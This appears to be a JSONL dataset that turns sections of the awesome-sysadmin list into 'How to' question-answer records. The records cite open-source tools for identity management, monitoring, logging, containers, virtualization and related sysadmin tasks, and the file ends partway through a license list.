{"id": "gh_620fcfc6e0c8", "question": "How to: Identity Management - Single Sign-On (SSO)", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Single sign-on (SSO)](https://en.wikipedia.org/wiki/Single_sign-on) is an authentication scheme that allows a user to log in with a single ID to any of several related, yet independent, software systems. \n\n- [Authelia](https://www.authelia.com/) - The Single Sign-On Multi-Factor portal for web apps. ([Source Code](https://github.com/authelia/authelia)) `Apache-2.0` `Go`\n- [Authentik](https://goauthentik.io/) - Flexible identity provider with support for different protocols. (OAuth 2.0, SAML, LDAP and Radius). ([Source Code](https://github.com/goauthentik/authentik)) `MIT` `Python`\n- [KeyCloak](https://www.keycloak.org) - Open Source Identity and Access Management. ([Source Code](https://github.com/keycloak/keycloak)) `Apache-2.0` `Java`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584584"}
{"id": "gh_f473c39a2fb9", "question": "How to: Identity Management - Tools and web interfaces", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nMiscellaneous utilities and web interfaces for identity management systems.\n\n- [BounCA](https://bounca.org/) - A personal SSL Key / Certificate Authority web-based tool for creating self-signed certificates. ([Source Code](https://gitlab.com/bounca/bounca/)) `Apache-2.0` `Python`\n- [easy-rsa](https://github.com/OpenVPN/easy-rsa) - Bash script to build and manage a PKI CA. `GPL-2.0` `Shell`\n- [Fusion Directory](https://www.fusiondirectory.org) - Improve the Management of the services and the company directory based on OpenLDAP. ([Source Code](https://github.com/fusiondirectory/fusiondirectory)) `GPL-2.0` `PHP`\n- [LDAP Account Manager (LAM)](https://www.ldap-account-manager.org/lamcms/) - Web frontend for managing entries (e.g. users, groups, DHCP settings) stored in an LDAP directory. ([Source Code](https://github.com/LDAPAccountManager/lam/)) `GPL-3.0` `PHP`\n- [Libravatar](https://www.libravatar.org/) - Libravatar is a service which delivers your avatar (profile picture) to other websites. ([Source Code](https://git.linux-kernel.at/oliver/ivatar/)) `AGPL-3.0` `Python`\n- [Pomerium](https://www.pomerium.io/) - An identity and context aware access-proxy inspired by BeyondCorp. ([Source Code](https://github.com/pomerium/pomerium)) `Apache-2.0` `Docker/Go`\n- [Samba](https://www.samba.org/) - Active Directory and CIFS protocol implementation. ([Source Code](https://download.samba.org/pub/samba/)) `GPL-3.0` `C`\n- [Smallstep Certificates](https://smallstep.com/certificates/) - A private certificate authority (X.509 & SSH) and related tools for secure automated certificate management. ([Source Code](https://github.com/smallstep/certificates)) `Apache-2.0` `Go`\n- [ZITADEL](https://zitadel.com/) - Cloud-native Identity & Access Management solution providing a platform for secure authentication, authorization and identity management. ([Source Code](https://github.com/zitadel/zitadel)) `Apache-2.0` `Go/Docker/K8S`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584591"}
{"id": "gh_3e6d1e188b2d", "question": "How to: IT Asset Management", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nIT [asset management](https://en.wikipedia.org/wiki/Asset_management) software.\n\n- [GLPI](https://www.glpi-project.org/) - Information Resource-Manager with an additional Administration Interface. ([Source Code](https://github.com/glpi-project/glpi)) `GPL-3.0` `PHP`\n- [OCS Inventory NG](https://ocsinventory-ng.org/) - Asset management and deployment solution for all devices in your IT Department. ([Source Code](https://github.com/OCSInventory-NG)) `GPL-2.0` `PHP/Perl`\n- [OPSI](https://www.opsi.org) - Hardware and software inventory, client management, deployment, and patching for Linux and Windows. ([Source Code](https://github.com/opsi-org/)) `GPL-3.0/AGPL-3.0` `OVF/Python`\n- [RackTables](https://racktables.org/) - Datacenter and server room asset management like document hardware assets, network addresses, space in racks, networks configuration. ([Demo](https://www.racktables.org/demo.php), [Source Code](https://github.com/RackTables/racktables)) `GPL-2.0` `PHP`\n- [Ralph](https://ralph.allegro.tech/) - Asset management, DCIM and CMDB system for large Data Centers as well as smaller LAN networks. ([Demo](https://github.com/allegro/ralph#live-demo), [Source Code](https://github.com/allegro/ralph)) `Apache-2.0` `Python/Docker`\n- [Snipe IT](https://snipeitapp.com/) - Asset & license management software. ([Source Code](https://github.com/snipe/snipe-it)) `AGPL-3.0` `PHP`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584597"}
{"id": "gh_a1b7124b667b", "question": "How to: Log Management", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nLog management tools: collect, parse, visualize...\n\n- [Fluentd](https://www.fluentd.org/) - Data collector for unified logging layer. ([Source Code](https://github.com/fluent/fluentd)) `Apache-2.0` `Ruby`\n- [Flume](https://flume.apache.org/) - Distributed, reliable, and available service for efficiently collecting, aggregating, and moving large amounts of log data. ([Source Code](https://github.com/apache/flume)) `Apache-2.0` `Java`\n- [GoAccess](https://goaccess.io/) - Real-time web log analyzer and interactive viewer that runs in a terminal or through the browser. ([Source Code](https://github.com/allinurl/goaccess)) `MIT` `C`\n- [Loki](https://grafana.com/oss/loki/) - Log aggregation system designed to store and query logs from all your applications and infrastructure. ([Source Code](https://github.com/grafana/loki)) `AGPL-3.0` `Go`\n- [rsyslog](https://www.rsyslog.com/) - Rocket-fast system for log processing. ([Source Code](https://github.com/rsyslog/rsyslog)) `GPL-3.0` `C`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584602"}
{"id": "gh_5b30ea799a50", "question": "How to: Mail Clients", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nAn [email client](https://en.wikipedia.org/wiki/Email_client), email reader or, more formally, message user agent (MUA) or mail user agent is a computer program used to access and manage a user's email. \n\n- [aerc](https://aerc-mail.org/) - Terminal MUA with a focus on plaintext and features for developers. ([Source Code](https://git.sr.ht/~rjarry/aerc)) `MIT` `Go`\n- [Claws Mail](http://www.claws-mail.org/) - Old school email client (and news reader), based on GTK+. ([Source Code](https://git.claws-mail.org/?p=claws.git;a=tree)) `GPL-3.0` `C`\n- [ImapSync](http://imapsync.lamiral.info/) - Simple IMAP migration tool for copying mailboxes to other servers. ([Source Code](https://github.com/imapsync/imapsync)) `NLPL` `Perl`\n- [Mutt](http://www.mutt.org/) - Small but very powerful text-based mail client. ([Source Code](https://gitlab.com/muttmua/mutt)) `GPL-2.0` `C`\n- [Sylpheed](https://sylpheed.sraoss.jp/en/) - Still developed predecessor to Claws Mail, lightweight mail client. ([Source Code](https://github.com/sylpheed-mail/sylpheed)) `GPL-2.0` `C`\n- [Thunderbird](https://www.thunderbird.net/) - Free email application that's easy to set up and customize. ([Source Code](https://hg.mozilla.org/comm-central/file)) `MPL-2.0` `C/C++`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584608"}
{"id": "gh_202d3c38ebb9", "question": "How to: Metrics & Metric Collection", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nMetric gathering and display software.\n\n_Related: [Databases](#databases), [Monitoring](#monitoring)_\n\n- [Beats](https://www.elastic.co/beats/) - Single-purpose data shippers that send data from hundreds or thousands of machines and systems to Logstash or Elasticsearch. ([Source Code](https://github.com/elastic/beats)) `Apache-2.0` `Go`\n- [Collectd](https://collectd.org/) - System statistics collection daemon. ([Source Code](https://github.com/collectd/collectd)) `MIT` `C`\n- [Diamond](https://github.com/python-diamond/Diamond) - Daemon that collects system metrics and publishes them to Graphite (and others). `MIT` `Python`\n- [Grafana](https://grafana.com/) - A Graphite & InfluxDB Dashboard and Graph Editor. ([Source Code](https://github.com/grafana/grafana)) `AGPL-3.0` `Go`\n- [Graphite](https://graphite.readthedocs.org/en/latest/) - Scalable graphing server. ([Source Code](https://github.com/graphite-project/graphite-web)) `Apache-2.0` `Python`\n- [RRDtool](https://oss.oetiker.ch/rrdtool/) - Industry standard, high performance data logging and graphing system for time series data. ([Source Code](https://github.com/oetiker/rrdtool-1.x)) `GPL-2.0` `C`\n- [Statsd](https://github.com/etsy/statsd/) - Daemon that listens for statistics like counters and timers, sent over UDP or TCP, and sends aggregates to one or more pluggable backend services. `MIT` `Nodejs`\n- [tcollector](http://opentsdb.net/docs/build/html/user_guide/utilities/tcollector.html) - Gathers data from local collectors and pushes the data to OpenTSDB. ([Source Code](https://github.com/OpenTSDB/tcollector/)) `LGPL-3.0/GPL-3.0` `Python`\n- [Telegraf](https://github.com/influxdata/telegraf) - Plugin-driven server agent for collecting, processing, aggregating, and writing metrics. `MIT` `Go`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584614"}
{"id": "gh_1ab4b0d06b25", "question": "How to: Miscellaneous", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nSoftware that does not fit in another section.\n\n- [Chocolatey](https://chocolatey.org/) - The package manager for Windows. ([Source Code](https://github.com/chocolatey/choco)) `Apache-2.0` `C#/PowerShell`\n- [Clonezilla](https://clonezilla.org/) - Partition and disk imaging/cloning program. ([Source Code](https://clonezilla.org/downloads/src/)) `GPL-2.0` `Perl/Shell/Other`\n- [DadaMail](https://dadamailproject.com/) - Mailing List Manager, written in Perl. ([Source Code](https://sourceforge.net/projects/dadamail/files/)) `GPL-2.0` `Perl`\n- [Fog](https://www.fogproject.org/) - Cloning/imaging solution/rescue suite. ([Source Code](https://github.com/FOGProject/fogproject)) `GPL-3.0` `PHP/Shell`\n- [phpList](https://www.phplist.org/) - Newsletter and email marketing software. ([Source Code](https://github.com/phpList/phplist3)) `AGPL-3.0` `PHP`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584620"}
{"id": "gh_a177af8abd92", "question": "How to: Monitoring", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nMonitoring software.\n\n_Related: [Metrics & Metric Collection](#metrics--metric-collection)_\n\n- [Adagios](http://adagios.org/) - Web based Nagios interface for configuration and monitoring (replacement to the standard interface), and a REST interface. ([Source Code](https://github.com/opinkerfi/adagios)) `AGPL-3.0` `Docker/Python`\n- [Alerta](https://alerta.io/) - Distributed, scalable and flexible monitoring system. ([Source Code](https://github.com/alerta/alerta)) `Apache-2.0` `Python`\n- [Beszel](https://beszel.dev/) - Lightweight server monitoring platform that includes Docker statistics, historical data, and alert functions. ([Source Code](https://github.com/henrygd/beszel)) `MIT` `Go`\n- [Cacti](https://www.cacti.net) - Web-based network monitoring and graphing tool. ([Source Code](https://github.com/Cacti/cacti)) `GPL-2.0` `PHP`\n- [cadvisor](https://github.com/google/cadvisor) - Analyzes resource usage and performance characteristics of running containers. `Apache-2.0` `Go`\n- [checkmk](https://checkmk.com/) - Comprehensive solution for monitoring of applications, servers, and networks. ([Source Code](https://github.com/Checkmk/checkmk)) `GPL-2.0` `Python/PHP`\n- [dashdot](https://github.com/MauriceNino/dashdot) - A simple, modern server dashboard for smaller private servers. ([Demo](https://dash.mauz.dev/)) `MIT` `Nodejs/Docker`\n- [EdMon](https://github.com/Edraens/EdMon) - A command-line monitoring application helping you to check that your hosts and services are available, with notifications support. `MIT` `Java`\n- [eZ Server Monitor](https://www.ezservermonitor.com) - A lightweight and simple dashboard monitor for Linux, available in Web and Bash application. ([Source Code](https://github.com/shevabam/ezservermonitor-web)) `GPL-3.0` `PHP/Shell`\n- [glances](https://nicolargo.github.io/glances/) - Open-source, cross-platform real-time monitoring tool with CLI and web dashboard interfaces and many exporting options. ([Source Code](https://github.com/nicolargo/glances)) `GPL-3.0` `Python`\n- [Healthchecks](https://healthchecks.io/docs/self_hosted/) - Monitoring for cron jobs, background services and scheduled tasks. ([Source Code](https://github.com/healthchecks/healthchecks)) `BSD-3-Clause` `Python`\n- [Icinga](https://www.icinga.com/) - Nagios fork that has since lapped nagios several times. Comes with the possibility of clustered monitoring. ([Source Code](https://github.com/Icinga/icinga2)) `GPL-2.0` `C++`\n- [LibreNMS](https://www.librenms.org) - Fully featured network monitoring system that provides a wealth of features and device support. ([Source Code](https://github.com/librenms/librenms)) `GPL-3.0` `PHP`\n- [Linux Dash](https://github.com/afaqurk/linux-dash) - A low-overhead monitoring web dashboard for a GNU/Linux machine. `MIT` `Nodejs/Go/Python/PHP`\n- [Monit](https://mmonit.com/monit/#home) - Small utility for managing and monitoring Unix systems. ([Source Code](https://bitbucket.org/tildeslash/monit/src/master/)) `AGPL-3.0` `C`\n- [Munin](https://munin-monitoring.org/) - Networked resource monitoring tool. ([Source Code](https://github.com/munin-monitoring/munin)) `GPL-2.0` `Perl/Shell`\n- [Naemon](https://www.naemon.org/) - Network monitoring tool based on the Nagios 4 core with performance enhancements and new features. ([Source Code](https://github.com/naemon/naemon-core)) `GPL-2.0` `C`\n- [Nagios](https://www.nagios.org/) - Computer system, network and infrastructure monitoring software application. ([Source Code](https://github.com/NagiosEnterprises/nagioscore)) `GPL-2.0` `C`\n- [Netdata](https://www.netdata.cloud/) - Distributed, real-time, performance and health monitoring for systems and applications. Runs on Linux, FreeBSD, and MacOS. ([Source Code](https://github.com/netdata/netdata)) `GPL-3.0` `C`\n- [NetXMS](https://www.netxms.org/) - Open Source network and infrastructure monitoring and management. ([Source Code](https://github.com/netxms/netxms)) `LGPL-3.0/GPL-3.0` `Java/C++/C`\n- [Observium Community Edition](http://www.observium.org/) - Network monitoring and management platform that provides real-time insight into network health and performance. `QPL-1.0` `PHP`\n- [openITCOCKPIT Community Edition](https://openitcockpit.io/) - Monitoring Suite featuring seamless integrations with Naemon, Checkmk, Grafana and more. ([Demo](https://demo.openitcockpit.io/), [Source Code](https://github.com/openITCOCKPIT/openITCOCKPIT)) `GPL-3.0` `deb/Docker`\n- [Performance Co-Pilot](http://pcp.io) - Lightweight, distributed system performance and analysis framework. ([Source Code](https://github.com/performancecopilot/pcp)) `LGPL-2.1/GPL-2.0` `C`\n- [PHP Server Monitor](https://www.phpservermonitor.org/) - Open source tool to monitor your servers and websites. ([Source Code](https://github.com/phpservermon/phpservermon)) `GPL-3.0` `PHP`\n- [PhpSysInfo](https://phpsysinfo.github.io/phpsysinfo/) - A customizable PHP script that displays information about", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584632"}
{"id": "gh_b9c5bde26b37", "question": "How to: Network Configuration Management", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nNetwork configuration management tools.\n\n- [GNS3](https://www.gns3.com/) - Graphical network simulator that provides a variety of virtual appliances. ([Source Code](https://github.com/GNS3/gns3-gui/)) `GPL-3.0` `Python`\n- [OpenWISP](https://openwisp.org/) - Open Source Network Management System for OpenWRT based routers and access points. ([Demo](https://openwisp.org/demo.html), [Source Code](https://github.com/openwisp)) `GPL-3.0` `Python`\n- [Oxidized](https://github.com/ytti/oxidized) - Network device configuration backup tool. `Apache-2.0` `Ruby`\n- [phpIPAM](https://phpipam.net/) - Open source IP address management with PowerDNS integration. ([Source Code](https://github.com/phpipam/phpipam)) `GPL-3.0` `PHP`\n- [RANCID](https://www.shrubbery.net/rancid/) - Monitor network devices configuration and maintain history of changes. ([Source Code](https://github.com/haussli/rancid)) `BSD-3-Clause` `Perl/Shell`\n- [rConfig](https://www.rconfig.com/) - Network device configuration management tool. ([Source Code](https://github.com/rconfig/rconfig)) `GPL-3.0` `PHP`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584638"}
{"id": "gh_38f6882b120e", "question": "How to: Project Management", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nWeb-based project management and bug tracking systems.\n\n**Please visit [awesome-selfhosted/Project Management](https://awesome-selfhosted.net/tags/software-development---project-management.html)**", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584645"}
{"id": "gh_3333cd176db4", "question": "How to: Remote Desktop Clients", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Remote Desktop](https://en.wikipedia.org/wiki/Remote_desktop_software) client software.\n\n_See also: [awesome-selfhosted/Remote Access](https://awesome-selfhosted.net/tags/remote-access.html)_\n\n- [Remmina](https://www.remmina.org/) - Feature-rich remote desktop application for linux and other unixes. ([Source Code](https://gitlab.com/Remmina/Remmina)) `GPL-2.0` `C`\n- [Tiger VNC](https://tigervnc.org/) - High-performance, multi-platform VNC client and server. ([Source Code](https://github.com/TigerVNC/tigervnc)) `GPL-2.0` `C++`\n- [X2go](https://wiki.x2go.org/doku.php) - X2Go is an open source remote desktop software for Linux that uses the NoMachine/NX technology protocol. ([Source Code](https://code.x2go.org/gitweb)) `GPL-2.0` `Perl`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584651"}
{"id": "gh_506cee70afad", "question": "How to: Service Discovery", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Service discovery](https://en.wikipedia.org/wiki/Service_discovery) is the process of automatically detecting devices and services on a computer network.\n\n- [Consul](https://www.consul.io/) - Consul is a tool for service discovery, monitoring and configuration. ([Source Code](https://github.com/hashicorp/consul)) `MPL-2.0` `Go`\n- [etcd](https://etcd.io/) - Distributed K/V-Store, authenticating via SSL PKI and a REST HTTP Api for shared configuration and service discovery. ([Source Code](https://github.com/coreos/etcd)) `Apache-2.0` `Go`\n- [ZooKeeper](https://zookeeper.apache.org/) - ZooKeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services. ([Source Code](https://github.com/apache/zookeeper)) `Apache-2.0` `Java/C++`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584658"}
{"id": "gh_529a9a49001f", "question": "How to: Software Containers", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Operating system–level](https://en.wikipedia.org/wiki/OS-level_virtualization) virtualization.\n\n- [Docker Compose](https://docs.docker.com/compose/) - Define and run multi-container Docker applications. ([Source Code](https://github.com/docker/compose)) `Apache-2.0` `Go`\n- [Docker Swarm](https://docs.docker.com/engine/swarm/) - Manage cluster of Docker Engines. ([Source Code](https://github.com/moby/swarmkit)) `Apache-2.0` `Go`\n- [Docker](https://www.docker.com/) - Platform for developers and sysadmins to build, ship, and run distributed applications. ([Source Code](https://www.docker.com/community/open-source/)) `Apache-2.0` `Go`\n- [LXC](https://linuxcontainers.org/lxc/) - Userspace interface for the Linux kernel containment features. ([Source Code](https://github.com/lxc/lxc)) `GPL-2.0` `C`\n- [LXD](https://linuxcontainers.org/lxd/) - Container \"hypervisor\" and a better UX for LXC. ([Source Code](https://github.com/lxc/lxd)) `Apache-2.0` `Go`\n- [OpenVZ](https://openvz.org) - Container-based virtualization for Linux. ([Source Code](https://src.openvz.org/projects/OVZ)) `GPL-2.0` `C`\n- [Podman](https://podman.io) - Daemonless container engine for developing, managing, and running OCI Containers on your Linux System. Containers can either be run as root or in rootless mode. Simply put: `alias docker=podman`. ([Source Code](https://github.com/containers/podman)) `Apache-2.0` `Go`\n- [Portainer Community Edition](https://www.portainer.io/) - Simple management UI for Docker. ([Source Code](https://github.com/portainer/portainer)) `Zlib` `Go`\n- [systemd-nspawn](https://www.freedesktop.org/software/systemd/man/systemd-nspawn.html) - Lightweight, chroot-like, environment to run an OS or command directly under systemd. ([Source Code](https://github.com/systemd/systemd)) `GPL-2.0` `C`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584667"}
{"id": "gh_3517dafeea75", "question": "How to: Status Pages", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Uptime](https://en.wikipedia.org/wiki/Uptime) is a measure of system reliability, expressed as the percentage of time a machine, typically a computer, has been working and available.\n\n**Please visit [awesome-selfhosted/Status / Uptime Pages](https://awesome-selfhosted.net/tags/status--uptime-pages.html)**", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584672"}
{"id": "gh_58069437b557", "question": "How to: Troubleshooting", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nTroubleshooting tools.\n\n- [grml](https://grml.org) - Bootable Debian Live CD with powerful CLI tools. ([Source Code](https://github.com/grml/)) `GPL-3.0` `Shell`\n- [mitmproxy](https://mitmproxy.org/) - A Python tool used for intercepting, viewing and modifying network traffic. Invaluable in troubleshooting certain problems. ([Source Code](https://github.com/mitmproxy/mitmproxy)) `MIT` `Python`\n- [mtr](https://www.bitwizard.nl/mtr/) - Network utility that combines traceroute and ping. ([Source Code](https://github.com/traviscross/mtr)) `GPL-2.0` `C`\n- [Sysdig](https://www.sysdig.com/) - Capture system state and activity from a running Linux instance, then save, filter and analyze. ([Source Code](https://github.com/draios/sysdig)) `Apache-2.0` `Docker/Lua/C`\n- [Wireshark](https://www.wireshark.org/) - The world's foremost network protocol analyzer. ([Source Code](https://gitlab.com/wireshark/wireshark)) `GPL-2.0` `C`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584677"}
{"id": "gh_49db15e67fa2", "question": "How to: Version control", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nSoftware versioning and revision control.\n\n- [Darcs](https://darcs.net/) - Cross-platform version control system, like git, mercurial or svn but with a very different approach: focus on changes rather than snapshots. ([Source Code](https://darcs.net/releases/)) `GPL-2.0` `Haskell`\n- [Fossil](https://www.fossil-scm.org/) - Distributed version control with built-in wiki and bug tracking. ([Source Code](https://www.fossil-scm.org/home/dir?ci=trunk)) `BSD-2-Clause` `C`\n- [Git](https://git-scm.com/) - Distributed revision control and source code management (SCM) with an emphasis on speed. ([Source Code](https://github.com/git/git)) `GPL-2.0` `C`\n- [Mercurial](https://www.mercurial-scm.org/) - Distributed source control management tool. ([Source Code](https://repo.mercurial-scm.org/hg/file/tip)) `GPL-2.0` `Python/C/Rust`\n- [Subversion](https://subversion.apache.org/) - Client-server revision control system. ([Source Code](https://svn.apache.org/repos/asf/subversion/trunk/)) `Apache-2.0` `C`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584682"}
{"id": "gh_2abad9a22fab", "question": "How to: Virtualization", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nVirtualization software.\n\n- [Ganeti](https://www.ganeti.org/) - Cluster virtual server management software tool built on top of KVM and Xen. ([Source Code](https://github.com/ganeti/ganeti)) `BSD-2-Clause` `Python/Haskell`\n- [KVM](https://www.linux-kvm.org) - Linux kernel virtualization infrastructure. ([Source Code](https://git.kernel.org/pub/scm/virt/kvm/kvm.git/)) `GPL-2.0/LGPL-2.0` `C`\n- [OpenNebula](https://opennebula.org/) - Build and manage enterprise clouds for virtualized services, containerized applications and serverless computing. ([Source Code](https://github.com/OpenNebula/one)) `Apache-2.0` `C++`\n- [oVirt](https://www.ovirt.org/) - Manages virtual machines, storage and virtual networks. ([Source Code](https://github.com/oVirt)) `Apache-2.0` `Java`\n- [Packer](https://www.packer.io/) - A tool for creating identical machine images for multiple platforms from a single source configuration. ([Source Code](https://github.com/hashicorp/packer)) `MPL-2.0` `Go`\n- [Proxmox VE](https://www.proxmox.com/proxmox-ve) - Virtualization management solution. ([Source Code](https://git.proxmox.com/)) `GPL-2.0` `Perl/Shell`\n- [QEMU](https://www.qemu.org/) - QEMU is a generic machine emulator and virtualizer. ([Source Code](https://gitlab.com/qemu-project/qemu)) `LGPL-2.1` `C`\n- [Vagrant](https://www.vagrantup.com/) - Tool for building complete development environments. ([Source Code](https://github.com/hashicorp/vagrant)) `BUSL-1.1` `Ruby`\n- [VirtualBox](https://www.virtualbox.org/) - Virtualization product from Oracle Corporation. ([Source Code](https://www.virtualbox.org/browser/vbox)) `GPL-3.0/CDDL-1.0` `C++`\n- [XCP-ng](https://www.xcp-ng.org/) - Virtualization platform based on Xen Source and Citrix® Hypervisor (formerly XenServer). ([Source Code](https://github.com/xcp-ng)) `GPL-2.0` `C`\n- [Xen](https://www.xenproject.org/) - Virtual machine monitor for 32/64 bit Intel / AMD (IA 64) and PowerPC 970 architectures. ([Source Code](https://xenbits.xenproject.org/gitweb/?p=xen.git;a=tree;hb=HEAD)) `GPL-2.0` `C`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584690"}
{"id": "gh_c5c70454aa14", "question": "How to: List of Licenses", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n- `AGPL-3.0` - [GNU Affero General Public License 3.0](https://spdx.org/licenses/AGPL-3.0.html)\n- `Apache-2.0` - [Apache, Version 2.0](https://spdx.org/licenses/Apache-2.0.html)\n- `BSD-2-Clause` - [BSD 2-clause \"Simplified\"](https://spdx.org/licenses/BSD-2-Clause.html)\n- `BSD-3-Clause` - [BSD 3-Clause \"New\" or \"Revised\"](https://spdx.org/licenses/BSD-3-Clause.html)\n- `BUSL-1.1` - [Business Source License 1.1](https://spdx.org/licenses/BUSL-1.1.html)\n- `CC0-1.0` - [Public Domain/Creative Common Zero 1.0](https://spdx.org/licenses/CC0-1.0.html)\n- `CDDL-1.0` - [Common Development and Distribution License 1.0](https://spdx.org/licenses/CDDL-1.0.html)\n- `EPL-1.0` - [Eclipse Public License 1.0](https://spdx.org/licenses/EPL-1.0.html)\n- `GFDL-1.2` - [GNU Free Documentation License 1.2](https://spdx.org/licenses/GFDL-1.2.html)\n- `GPL-1.0` - [GNU General Public License 1.0](https://spdx.org/licenses/GPL-1.0.html)\n- `GPL-2.0` - [GNU General Public License 2.0](https://spdx.org/licenses/GPL-2.0.html)\n- `GPL-3.0` - [GNU General Public License 3.0](https://spdx.org/licenses/GPL-3.0.html)\n- `IPL-1.0` - [IBM Public License v1.0](https://spdx.org/licenses/IPL-1.0.html)\n- `ISC` - [ISC License](https://spdx.org/licenses/ISC.html)\n- `LGPL-2.0` - [GNU Lesser General Public License v2](https://spdx.org/licenses/LGPL-2.0.html)\n- `LGPL-2.1` - [GNU Lesser General Public License v2.1](https://spdx.org/licenses/LGPL-2.1.html)\n- `LGPL-3.0` - [GNU Lesser General Public License v3](https://spdx.org/licenses/LGPL-3.0.html)\n- `MIT` - [MIT License](https://spdx.org/licenses/MIT.html)\n- `MPL-2.0` - [Mozilla Public License](https://spdx.org/licenses/MPL-2.0.html)\n- `NLPL` - [No Limit Public 